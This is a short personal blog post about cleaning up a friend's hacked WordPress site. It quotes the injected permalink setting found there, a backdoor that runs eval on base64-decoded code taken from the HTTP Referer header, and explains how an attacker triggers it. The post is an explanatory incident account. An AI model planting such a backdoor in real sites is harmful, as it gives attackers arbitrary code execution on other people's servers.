« older post newer post »
February 1st, 2010

Wordpress Hack

I’ve been working on Steve’s hacked blog and I think I found what happened. As I browsed his data I kept finding all of this sql injection stuff and then I found one of PHP’s most dangerous commands – eval().

eval() lets a program take something and execute it like it was php code, but without it being programmed. If a hacker can execute the eval function he can execute any command he wants.

I found the eval on Steve’s blog in the permalink decode. This is the entry that makes a blog have real pages like (see the url for this post and you might see one.)

/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

It might not be obvious to you, but now all a hacker has to do is request a page and put the malicious code in the referrer information in the web request.

Now I have to see if I can get it out.

Update: I cleaned a lot of crap out of Steve’s DB. There was a huge file in his uploads directory that gave hackers complete control over his site and would even decode the root password. I don’t know what they were doing with it. Steve was getting lots of spam, but the uploaded code could also send out spam.

Leave a Reply

Anti-Spam Protection by WP-SpamFree

  • Free Book Giveaway #2!!!!!
    Enter the random drawing for a free book
    The odds are good that you'll win some good books. Science Fiction will never be cheaper!

  • please bookmark

  • Contact


  • View this site on your mobile phone
    Add Wanderings Mippin widget

  • Translate
      Translate to:


  • Current Stories
    • The Nigerian Soul - Robot's and the idea of a cybernetic soul - at Atomjack.
    • Farewell Tour - Rock and Roll ghost story. At the Freezine of Fantasy and Science Fiction
    • Repfix - a dark story about fixing a bad rep in the digital era. At Electric Spec Magazine.

  • Frogs In Aspic

  • Recent Comments

  • Popular Pages

  • You can call me FREE

  • Creative Commons

  • Meta


  • Keith P. Graham is a Programmer,
    Harmonica player
    and Science Fiction Writer.
    Anything you dream is fiction, and anything you accomplish is science, the whole history of mankind is nothing but science fiction. - Ray Bradbury